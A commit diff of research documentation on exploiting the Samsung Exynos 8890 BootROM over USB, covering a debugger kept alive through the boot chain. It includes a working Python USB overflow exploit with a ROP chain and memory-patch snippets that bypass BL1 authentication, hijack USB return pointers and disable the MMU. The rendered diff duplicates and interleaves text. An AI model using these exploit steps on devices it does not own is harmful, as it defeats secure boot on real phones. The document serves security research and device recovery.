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Cleaning up code and rewriting documentation. Now mostly finalized.

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Boots BL2 and returns to debugger. BL2 is not yet patcheable.
This commit is contained in:
Jonathan Herrewijnen 2024-09-10 18:59:32 +02:00
parent ac755b81f1
commit d9d9ae332a
20 changed files with 510 additions and 845 deletions
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documentation/.~lock.exynos_exploit_chain.odg# Normal file
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,jonathan,1kqdsx3-l,23.08.2024 11:35,file:///home/jonathan/.config/libreoffice/4;

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documentation/source/BootROM_8890/01_start.rst
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@ -4,6 +4,7 @@ Start/Home
The Exynos 8890 BootROM is a small piece of code that runs on the Exynos SoC at boot runtime. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified. The Exynos 8890 BootROM is a small piece of code that runs on the Exynos SoC at boot runtime. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified.
Useful links: Useful links:
- `DTSI files for exynos8890 <https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts>`_ - `DTSI files for exynos8890 <https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts>`_
- `Frederic exynos-usbdl on Github <https://github.com/frederic/exynos-usbdl/tree/master>`_' - `Frederic exynos-usbdl on Github <https://github.com/frederic/exynos-usbdl/tree/master>`_'
- `Exynos8890 usbdl-recovery images/firmwares <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_ - `Exynos8890 usbdl-recovery images/firmwares <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_

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documentation/source/BootROM_8890/02_frederics_exploit.rst
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@ -3,6 +3,8 @@ Frederic's Exploit
================== ==================
Frederic published a blogpost on reversing the `USB stack of the Exynos BootROM <https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html#reverse-engineer-usb-stack-of-exynos-bootrom>`_ and a blogpost on exploiting the `Exynos 8890 BootROM <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_. Here we will discuss the exploit in more detail. Frederic published a blogpost on reversing the `USB stack of the Exynos BootROM <https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html#reverse-engineer-usb-stack-of-exynos-bootrom>`_ and a blogpost on exploiting the `Exynos 8890 BootROM <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_. Here we will discuss the exploit in more detail.
The code can be found in the `exynos-usbdl repository <https://github.com/frederic/exynos-usbdl/tree/master>`_.
USB Stack in BootROM USB Stack in BootROM
-------------------- --------------------
The bootRom is the first code that runs on the Exynos SoC. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified (making vulnerabilities in this permanent/non-patcheable). The BootROM is responsible for initializing the USB controller and receiving the first stage bootloader from the USB host. It will be waiting for a package in the following format (dldata == download data): The bootRom is the first code that runs on the Exynos SoC. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified (making vulnerabilities in this permanent/non-patcheable). The BootROM is responsible for initializing the USB controller and receiving the first stage bootloader from the USB host. It will be waiting for a package in the following format (dldata == download data):

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documentation/source/BootROM_8890/03_exploit_boot_chain.rst
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@ -7,30 +7,25 @@ This part describes the boot chain of the ``Exynos 8890`` SoC.
This is all still under development and will change. This is all still under development and will change.
Memory overview General overview
--------------- ===============
Memory layout
^^^^^^^^^^^^^
Keep this overview in mind when reading through the boot chain exploit. Keep this overview in mind when reading through the boot chain exploit.
.. raw:: html .. raw:: html
<iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe> <iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
Exploitation Approach
------------ ^^^^^^^^
After exploitation the goal is to fully boot the device. We're trying to use Frederic's exploit to load a debugger and then boot the device. The debugger needs to be kept 'alive' through the boot chain, so we can patch the boot chain at the right time. In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality. In our initial approach, we were manually booting all stages from the debugger, and jumping directly back to the debugger (without using the USB protocol). This was done to keep the debugger alive throughout the boot chain, but this became very difficult after BL31, as the MMU didn't allow us to read/write to most spaces, cutting off our access to BL31 during boot at some point. And losing our debugger interface in the process.
.. topic:: gupje This is also why there is some ghost code within the project. We were trying to keep the debugger alive throughout the boot chain, but this was not easily feasible.
Gupje is the debugger we'll be loading onto the device and will be replacing throughout the bootchain. Boot stages
^^^^^^^^^^^^^^
Loading the debugger
^^^^^^^^^^^^^^^^^^^^
The debugger is based on `Gupje <https://git.eminjenv.nl/nfi-exploitdev/gupje>`_.
TODO
Boot stages/payloads
--------------------
Get the correct payloads for the bootROM stages from samsung firmware files, or from `Exynos8890 usbdl-recovery images/firmwares <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_. Get the correct payloads for the bootROM stages from samsung firmware files, or from `Exynos8890 usbdl-recovery images/firmwares <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_.
.. list-table:: bootrom stages .. list-table:: bootrom stages
@ -52,16 +47,61 @@ Get the correct payloads for the bootROM stages from samsung firmware files, or
- Contains more textual information, and references to post BL2 boot, and android information - Contains more textual information, and references to post BL2 boot, and android information
- Kernel boot/BL33? - Kernel boot/BL33?
Stage0/entry Gupje
============ ^^^^^
After loading the stage0 (entry.S - Frederic's exploit), we're allowed to send custom payloads to the device. The first payload that is then sent, is the debugger.
TODO .. note::
`Gupje <https://git.herreweb.nl/EljakimHerrewijnen/Samsung_S7>`_ is the debugger we'll be loading onto the device and will be moving around throughout the bootchain.
Gupje needs to be built and loaded onto the device. Throughout the exploit, we've been moving the debugger to different spaces in memory on the device. This was necessary as the space we initially used, was in the way of the space used for BL31 or BL2. After BL31, we lost access to the debugger, as BL2 was overwriting our last available space. At some point we moved the debugger to 0x11200000, as we saw that this space was used by BL31. Here below the most important arguments to build the debugger. This space is executable when the MMU is off.
Here the ``linksript.txt`` file.
.. code:: bash
LINKSCRIPT.txt
debugger_storage = 0x11201200;
debugger_stack = 0x11201000;
debugger_entry = 0x11200000;
maybe_usb_setup_read = 0x00006f88;
dwc3_ep0_start_trans = 0x0000791c;
usb_event_handler = 0x00007bac;
get_endpoint_recv_buffer = 0x00007a7c;
exynos_sleep = 0x000027c8;
g_recv_buffer = 0x11201600;
g_data_received = 0x11201400;
And the ``symbols.ld`` file.
.. code:: bash
SYMBOLS.ld
MEMORY {
ROM (rwx): ORIGIN = 0x11200000, LENGTH = 0x1000
}
SECTIONS
{
. = 0x11200000;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}
Debuggers
=========
After initial exploitation the goal was to fully boot the device. We're now moving into the next phase: 1) loading a debugger 2) and then to continue booting the device. If we manage to keep access to the debugger throughout the boot, this gives us room to exploit the device. But, the debugger needs to be kept 'alive' through the boot chain. The main difficulties here are the location of the debugger in memory (as it gets overwritten) and the MMU being enabled after BL31.
Initial debugger Initial debugger
================ ^^^^^^^^^^^^^^^^
Debugger
--------
The initial debugger is written to ``0x2069000``, with debugger_stack and _storage at ``0x0206b000`` and ``0x0206d000`` respectively. The initial debugger is written to ``0x2069000``, with debugger_stack and _storage at ``0x0206b000`` and ``0x0206d000`` respectively.
After the initial loading of the debugger, the processor state reported is (using ghidra assistant): After the initial loading of the debugger, the processor state reported is (using ghidra assistant):
@ -77,6 +117,8 @@ After the initial loading of the debugger, the processor state reported is (usin
LR/X30 being the line register. This is the address the processor will jump to when the function is done (important to keep track off). LR/X30 being the line register. This is the address the processor will jump to when the function is done (important to keep track off).
Second debugger
^^^^^^^^^^^^^^^
After a cache flush, the debugger seems to be cleared as well, so the debugger is relocated to ``0x20c0000``, with _stack and _storage now at ``0x20c2000`` and ``0x20c4000`` respectively. This is done by running: After a cache flush, the debugger seems to be cleared as well, so the debugger is relocated to ``0x20c0000``, with _stack and _storage now at ``0x20c2000`` and ``0x20c4000`` respectively. This is done by running:
.. code-block:: python .. code-block:: python
@ -106,206 +148,175 @@ The processor state reported then is:
X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 | X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0 X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0
Stage1/BL1 Final debugger
========== ^^^^^^^^^^^^^^
The first stage is downloading BL1, authenticating it and patching it after authentication. This is done by overwriting the USB return address pointer and jumping back to the debugger. In the debugger we can authenticate BL1, patch it and boot it. An overview of this process is shown below: We searched for quite some time for a space which was both writeable and executable. After BL31, most space became unreachable, with the MMU not allowing read/write at most spaces. We tried putting the debugger in the GPU cache, and tried some other spaces visible in the dtsi files, but eventually we found a space at ``0x11200000``. This space is executable when the MMU is off. With the MMU on, we can read/write but not execute here.
Booting an authenticated and patched BL1: Python part
^^^^^^^^^^^
.. code-block:: python
# Setup initial debugger
self.setup_guppy_debugger()
self.cd.arch_dbg.state.auto_sync = False
self.cd.arch_dbg.state.auto_sync_special = False
logger.debug('State after setting up initial debugger')
self.cd.arch_dbg.state.print_ctx()
DEBUGGER_ADDR = 0x2069000 # 0x2069000
# Relocate debugger
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
DEBUGGER_ADDR = 0x11200000
# Test debugger connection
self.cd.test_connection()
Stage 1 - Initial exploit
===============
Frederic created a payload called 'Exynos8890dump_bootrom', which used the usb dwc3 protocol (USB Synopsys DesignWare USB 3.0), to read and dump the bootrom. This payload was slightly modified, to keep the USB connection alive (stage1.bin). Frederic's C code was implemented in python.
.. code:: python
def exploit(self, payload: bytes):
'''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
'''
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
current_offset = TARGET_OFFSETS[self.target][0]
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
transferred = ctypes.c_int()
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
# Assert that payload is 502 bytes
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
# First send payload to trigger the bug
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
assert res == 0, "Error triggering payload"
assert transferred.value == len(bug_payload), "Invalid transfered size"
current_offset += len(bug_payload) - 8 # Remove header
cnt = 0
while True:
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
break
self.send_empty_transfer()
current_offset += CHUNK_SIZE
cnt += 1
if current_offset > 0x100000000:
current_offset = current_offset - 0x100000000 #reset 32 byte integer
print(f"{cnt} {hex(current_offset)}")
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
if remaining > BLOCK_SIZE:
self.send_empty_transfer()
# Send last transfer, TODO who aligns this ROM??
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
cnt += 1
print(f"{cnt} {hex(current_offset)}")
# Build ROP chain.
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
transferred = ctypes.c_int(0)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
assert res == 0, "Error sending ROP chain"
return
After this exploitation, we're able to send custom payloads. The first payload that is sent, sets up the debugger. In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality.
@EljakimHerrewijnen: what send/recv did you reverse? What code from the bootROM did you reverse?
Stage 2 - BL1
==========
Here, in order, the patches we applied to get BL1 to boot:
.. figure:: images/boot_chain_bl1.drawio.svg .. figure:: images/boot_chain_bl1.drawio.svg
:align: center :align: center
Boot chain Boot chain
- Overwrite the USB return address pointer (`0x02020f60`) to jump back to the debugger. ``self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR))``
- Set link register to debugger and jump into the boot USB (`0x000064e0`) function. ``self.cd.arch_dbg.state.LR = DEBUGGER_ADDR`` and then ``self.cd.restore_stack_and_jump(0x000064e0)``
- Now we can send the BL1 binary to the device. ``self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())``. At this point, we retain access to the debugger.
- To patch the authentication, we set X0 and X1 to 1, then again set the link register to the debugger, and jump into the authentication function at ``0x00012848``. ``self.cd.arch_dbg.state.X0 = 1`` and ``self.cd.arch_dbg.state.X1 = 1`` and ``self.cd.arch_dbg.state.LR = lr`` and then ``self.cd.restore_stack_and_jump(0x00012848)``
- We flush the cache ``self.usb_write(b"FLSH")`` (Frederic did this as well).
- Now we hijack the USB download function to jump back to the debugger. ``self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR))`` and ``self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))``
- And finally, we again restore our link register to the debugger, and jump into BL1 ``self.cd.restore_stack_and_jump(0x000002c0)``
.. figure:: images/initial_boot_function.png
:align: center
Overview of the initial boot function in the Exynos 8890.
At this point, after loading and executing BL1, the device returns to the debugger. Normally, the device would boot into BL1, and would then wait for the next boot stage to be sent over USB. But because we hijacked the USB return address pointer, the device returns to the debugger.
Regarding auth_bl1: Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change.
.. note:: .. note::
git commit 8cb5f2e1 fully boots, you can use this commit to patch bl1 only. git commit 8cb5f2e1 fully boots, you can use this commit to patch BL1 only.
Stage2/BL31 Stage 3 - BL31
=========== ==============
Initial boot through BL31
^^^^^^^^^^^^^^^^^^^^^^^^^
Next up is BL31, which is loaded by BL1. BL31 is written at ``0x02024000`` with the entry point at ``0x02024010``, it ends at ``0x02048000``. ``BL31`` is the secure monitor. The monitor uses memory that is also being used by the debugger, so we will have to relocate it to keep code exeuction. Next up is BL31, which is loaded by BL1. BL31 is written at ``0x02024000`` with the entry point at ``0x02024010``, it ends at ``0x02048000``. ``BL31`` is the secure monitor. The monitor uses memory that is also being used by the debugger, so we will have to relocate it to keep code exeuction.
.. figure:: images/bl31_debugger_memory_example.png .. figure:: images/bl31_debugger_memory_example.png
:align: center :align: center
Example of BL31 using debugger memory. Example of BL31 using memory from the initial debugger.
BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?). BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?). Here we decided to move the debugger to 0x02048000, as this space is still accessible after BL31, but this space will get overwritten by BL2.
It would be nice to patch BL31 before it is being executed. However the current exploit boot flow does not allow this because the ROM function downloads the next stage. At this point we switched our approach to booting the device, as we were unable to keep the debugger alive throughout the boot chain. We now boot the device normally, and then try to get our debugger after booting each stage. Because of this, we didn't need to modify a lot after BL1. Essentially all we did was:
Initial boot function (BL1) - Set the link register to the debugger: ``self.cd.arch_dbg.state.LR = DEBUGGER_ADDR``
--------------------------- - Jump into our hijacked USB function: ``self.cd.restore_stack_and_jump(hijacked_fun)``
- Send BL31: ``self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())``
- Continue a function that BL1 called via the USB: ``self.cd.restore_stack_and_jump(0x2022948)``
- Jump into BL31: ``self.cd.restore_stack_and_jump(0x02024010)``
.. figure:: images/initial_boot_function.png This boot process restores us to the debugger, but after this, we're unable to access most memory spaces. Notably, we tried getting access to the TTBR0_EL3. But something prohibits us reading there. We weren't able to find any executable space that was still available, for after BL2. BL2 would overwrite our debugger at this point.
Patching BL31
^^^^^^^^^^^^^
While looking for flags which were used for the MMU, we found a function at ``0x020244e8`` which we were able to turn off, but which still allowed a full boot into recovery. The MMU however stated to being disabled.
- get special registers: ``self.cd.arch_dbg.fetch_special_regs()``
- MMU state: ``self.cd.arch_dbg.state.R_SCTLR_EL3.mmu``
.. figure:: images/turn_off_MMU_but_good_boot_0x020244e8.png
:align: center :align: center
Overview of the initial boot function in the exynos 8890 Function patheable that turns off MMU, but keeps boot intact.
.. caution:: Additionally we found a space at ``0x11207010``, while looking for bit flags in ghidra, which seemed to be a memory read/write space. This space was not executable, unless the MMU was turned off. We used this space to store our debugger, then before booting BL31, we patched the if-statement above to disable the MMU. And booted.
This part needs to be rewritten (contains lies) - Patch if-statement to not be met: ``self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1))``
- Jump into BL31: ``self.cd.restore_stack_and_jump(0x02024010)``
BL1 needs to be authenticated. BL31 loads at address ``0x02022000`` and contains some form of header (ramdump). There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. In this case this entry is ``+0x10`` so we jump to ``0x02024010``. Authentication seems to be done at ``0x00012848``. Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change. Stage 4 - BL2
=============
This is our current progress. BL2 has booted, and shows the VBAR's for EL1.
.. code-block:: python .. code:: bash
MMU is 0x0 (0x1=enabled, 0x0=disabled)
# Try loading bl1 TTBR0_EL3: 0xbc4650892f1460, TTBR1_EL2: 0xc54d39cb66f0, TTBR0_EL1: 0xa5c20fc0ac581142
bl1 = open("../S7/bl1.bin", "rb").read() VBAR_EL3: 0x2031800, VBAR_EL2: 0x0, VBAR_EL1: 0x2053800
self.cd.memwrite_region(0x02021800, bl1) TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0
# self.usb_write(b"FLSH") SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0x30c5083a
AUTH_BL1 = 0x00012848 MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x1e42bb572931240b, MAIR_EL1: 0x44e048e000098aa4
def auth_bl1(lr=0x2069000): Current EL: 0xc
# Load the firmware
self.cd.arch_dbg.state.W0 = 1
self.cd.arch_dbg.state.X1 = 1
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
self.cd.restore_stack_and_jump(AUTH_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
auth_bl1(0x020c0000)
.. figure:: images/bl1_auth_references.png
:align: center
BL1 authentication
At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us.
If authentication at auth_bl1 is succesful, the returns a value from a function at ``1230c``. This function does some things, but eventually jumps to a function at:
.. figure:: images/bl1_auth_follow-up_1230c.png
:align: center
BL1 authentication
After authentication the bootROM jumps to this function at, we can execute this function with the debugger.
.. code-block:: python
self.cd.memwrite_region(0x02020f60, p32(0x020c0000))
BOOT_BL1 = 0x00019310
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(BOOT_BL1)
jump_bl1(0x020c0000)
jump_fwbl1()
BL1 is loaded at the download buffer and self copies to ``0x02022000`` and resumes execution there, with a size of 0x2000 (``0x02022000`` to ``0x02024000``).
However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system 'waiting' to receive the bootloader).
By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at ``0x00012848`` we jump back to the debugger. Jumping into BL1 at ``2c0`` does not return us to the debugger. Here we need to hijack ``020200dc`` and ``02021880`` we're able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.
.. code:: python
auth_bl1(DEBUGGER_ADDR)
self.usb_write(b"FLSH") # Flush cache
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
# BL1 patches
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
.. figure:: images/bl1_auth_references.png
:align: center
BL1 authentication.
purpose
^^^^^^^
bl1 interacts with several pheriperals, from the DTB these are:
.. code-block:: bash
/* FSYS0 */
pinctrl_5: pinctrl@10E60000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x10E60000 0x1000>;
interrupts = <0 212 0>;
};
/* FSYS1 */
pinctrl_6: pinctrl@15690000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x15690000 0x1000>;
interrupts = <0 202 0>;
};
/* PERIC1 */
pinctrl_9: pinctrl@14CC0000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x14CC0000 0x1000>;
interrupts = <0 460 0>;
};
pmu_system_controller: system-controller@105C0000 {
compatible = "samsung,exynos8890-pmu", "syscon";
reg = <0x0 0x105C0000 0x10000>;
};
rtc@10070000 {
compatible = "samsung,s3c6410-rtc";
reg = <0x0 0x10070000 0x100>;
interrupts = <0 73 0>, <0 74 0>;
clocks = <&clock 157>;
clock-names = "gate_rtc";
};
Probably the only thing it does is set some clocks and prepare for BL31.
OLD
---
The reason for this is the following code in bl1:
.. code-block:: c
iVar3 = FUN_02024320();
if (iVar3 == 1) {
(*(code *)(ulong)uRam0000000002020108)(0,1);
}
This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done.
This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
.. code-block:: c
DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
FUN_02021970:02021a40(R)
02020108 90 57 00 00 undefined4 00005790h
Replacing this function with our debugger makes us jump back:
.. code-block:: python
# Overwrite jump back
self.cd.memwrite_region(0x02020108, p32(0x2069000))
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
def jump_bl1():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02024010)
# self.cd.restore_stack_and_jump(0x02021810)
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl1)
self.usb_write(b"FLSH")
# auth_bl1()
jump_bl1()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
self.cd.arch_dbg.state.print_ctx()
root | DEBUG |
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.

174
documentation/source/BootROM_8890/04_notes.rst
View File

@ -17,13 +17,156 @@ What is interesting about the ROM is that it starts by checking MPIDR_EL1 regist
0000000c 41 00 00 54 b.ne LAB_00000014 0000000c 41 00 00 54 b.ne LAB_00000014
00000010 fc 7f 83 14 b LAB_020e0000 00000010 fc 7f 83 14 b LAB_020e0000
BL1 peculiarities
-----------------
.. figure:: images/bl1_auth_references.png
:align: center
BL1 authentication
At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us.
If authentication at auth_bl1 is succesful, the returns a value from a function at ``1230c``. This function does some things, but eventually jumps to a function at:
.. figure:: images/bl1_auth_follow-up_1230c.png
:align: center
BL1 authentication
After authentication the bootROM jumps to this function at, we can execute this function with the debugger.
.. code-block:: python
self.cd.memwrite_region(0x02020f60, p32(0x020c0000))
BOOT_BL1 = 0x00019310
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(BOOT_BL1)
jump_bl1(0x020c0000)
jump_fwbl1()
BL1 is loaded at the download buffer and self copies to ``0x02022000`` and resumes execution there, with a size of 0x2000 (``0x02022000`` to ``0x02024000``).
However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system 'waiting' to receive the bootloader).
By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at ``0x00012848`` we jump back to the debugger. Jumping into BL1 at ``2c0`` does not return us to the debugger. Here we need to hijack ``020200dc`` and ``02021880`` we're able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.
.. code:: python
auth_bl1(DEBUGGER_ADDR)
self.usb_write(b"FLSH") # Flush cache
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
# BL1 patches
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
.. figure:: images/bl1_auth_references.png
:align: center
BL1 authentication.
purpose
^^^^^^^
bl1 interacts with several pheriperals, from the DTB these are:
.. code-block:: bash
/* FSYS0 */
pinctrl_5: pinctrl@10E60000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x10E60000 0x1000>;
interrupts = <0 212 0>;
};
/* FSYS1 */
pinctrl_6: pinctrl@15690000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x15690000 0x1000>;
interrupts = <0 202 0>;
};
/* PERIC1 */
pinctrl_9: pinctrl@14CC0000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x14CC0000 0x1000>;
interrupts = <0 460 0>;
};
pmu_system_controller: system-controller@105C0000 {
compatible = "samsung,exynos8890-pmu", "syscon";
reg = <0x0 0x105C0000 0x10000>;
};
rtc@10070000 {
compatible = "samsung,s3c6410-rtc";
reg = <0x0 0x10070000 0x100>;
interrupts = <0 73 0>, <0 74 0>;
clocks = <&clock 157>;
clock-names = "gate_rtc";
};
Probably the only thing it does is set some clocks and prepare for BL31.
The reason for this is the following code in bl1:
.. code-block:: c
iVar3 = FUN_02024320();
if (iVar3 == 1) {
(*(code *)(ulong)uRam0000000002020108)(0,1);
}
This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done.
This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
.. code-block:: c
DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
FUN_02021970:02021a40(R)
02020108 90 57 00 00 undefined4 00005790h
Replacing this function with our debugger makes us jump back:
.. code-block:: python
# Overwrite jump back
self.cd.memwrite_region(0x02020108, p32(0x2069000))
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
def jump_bl1():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02024010)
# self.cd.restore_stack_and_jump(0x02021810)
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl1)
self.usb_write(b"FLSH")
# auth_bl1()
jump_bl1()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
self.cd.arch_dbg.state.print_ctx()
root | DEBUG |
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.
Week 35 - 2024 Week 35 - 2024
-------------- --------------
